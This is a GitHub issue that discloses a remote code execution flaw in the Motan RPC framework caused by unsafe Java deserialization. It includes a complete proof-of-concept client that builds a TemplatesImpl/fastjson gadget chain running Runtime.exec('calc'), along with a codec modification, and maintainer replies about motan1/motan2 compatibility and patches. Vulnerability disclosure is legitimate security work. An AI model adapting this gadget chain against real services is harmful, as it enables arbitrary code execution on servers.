Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Remote Code Execution (RCE) Due to Deserialization Vulnerability in Motan #1073

Open
N1etzsche0 opened this issue Nov 15, 2024 · 5 comments
Open

Comments

@N1etzsche0
Copy link

Remote Code Execution (RCE) Due to Deserialization Vulnerability in Motan

Description

I discovered a deserialization vulnerability in the Motan framework, which allows attackers to execute arbitrary code on the server (e.g., launch the calculator). The specific steps are as follows:

Reproduction Steps

1. Prepare Environment

  • Clone the Motan source code, naming the directories motan-server and motan-client.
    1280X1280
  • In motan-server, start MotanBenchmarkServer without any code modifications.
    1280X1280 (1)
  • In motan-client, modify motan-core and override motan-benchmark-client.

2. Specific Steps

The overridden motan-benchmark-client code is as follows:

package com.weibo.motan.benchmark;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Main {
    public static void main(String[] args) throws Exception {
        ApplicationContext applicationContext = new ClassPathXmlApplicationContext(
                new String[]{"classpath*:motan-benchmark-client.xml"});
        BenchmarkService service = (BenchmarkService) applicationContext.getBean("motanBenchmarkReferer");

        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
        constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
        ctClass.addConstructor(constructor);
        byte[] bytes = ctClass.toBytecode();

        Templates templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name", "test");
        setFieldValue(templatesImpl, "_tfactory", null);

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templatesImpl);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        setFieldValue(badAttributeValueExpException, "val", jsonArray);

        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(templatesImpl, badAttributeValueExpException);

        service.echoService(hashMap);
    }

    private static void setFieldValue(Object obj, String field, Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, value);
    }
}

Modify motan-core serialization logic to change the double-layer serialization into a single layer.
Before:

public abstract class AbstractCodec implements Codec {
    protected static ConcurrentHashMap<Integer, String> serializations;


    protected void serialize(ObjectOutput output, Object message, Serialization serialize) throws IOException {
        if (message == null) {
            output.writeObject(null);
            return;
        }

        output.writeObject(serialize.serialize(message));
    }

After:

public abstract class AbstractCodec implements Codec {
    protected static ConcurrentHashMap<Integer, String> serializations;


    protected void serialize(ObjectOutput output, Object message, Serialization serialize) throws IOException {
        if (message == null) {
            output.writeObject(null);
            return;
        }

        output.writeObject(message);
    }

Vulnerability Verification

Start motan-benchmark-client and trigger the vulnerability at the decodeRequestParameter in motan-server.
2e89b1f9-17d2-4cf9-aefe-8a865819f62d
c0a150c2-bf6f-4f8a-9d79-8c530fc9e6d3

Acknowledgements

If you confirm the existence of the vulnerability, please email me a reply and set the credit as follows
Credit:

If you don't think this is a loophole, please reply to the email and tell me why
Thank you very much

@Au5t1n-6832
Copy link

wow so cool,I love it,you are so good boy

@rayzhang0603
Copy link
Collaborator

Thanks for the feedback.

This RCE vulnerability is caused by Java's ObjectInputStream and only affects the motan1 protocol. The latest motan2 protocol has deprecated ObjectInputStream, so the Motan2 protocol will not be affected by this.
For examples of the motan2 protocol, please refer to the corresponding demo server and client.

We will evaluate whether subsequent versions will deprecate the compatibility with the motan1 protocol.

@N1etzsche0
Copy link
Author

I tested the Motan2Server locally, and using the same payload, the attack was successful. The Motan1 protocol, despite not being deprecated, is still affected by the same issue.
image
image
image

@rayzhang0603
Copy link
Collaborator

Because the motan2 protocol is currently compatible with the motan1 protocol, the motan1 protocol will be abandoned in the future, and the motan2 server will no longer be compatible with the motan1 protocol。

@rayzhang0603
Copy link
Collaborator

RPC is generally an internal service and will not be exposed to the public network. It is also difficult to pass attack code from the outside to the internal RPC service, so the risk is relatively controllable. This PR supports removing the compatibility with the motan1 protocol by setting codec=motan2, leaving the security options to the user to evaluate.

Since the motan1 protocol is not suitable for cross-language communication and is no longer recommended, this PR adds serialized object type restrictions and makes simple patches.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants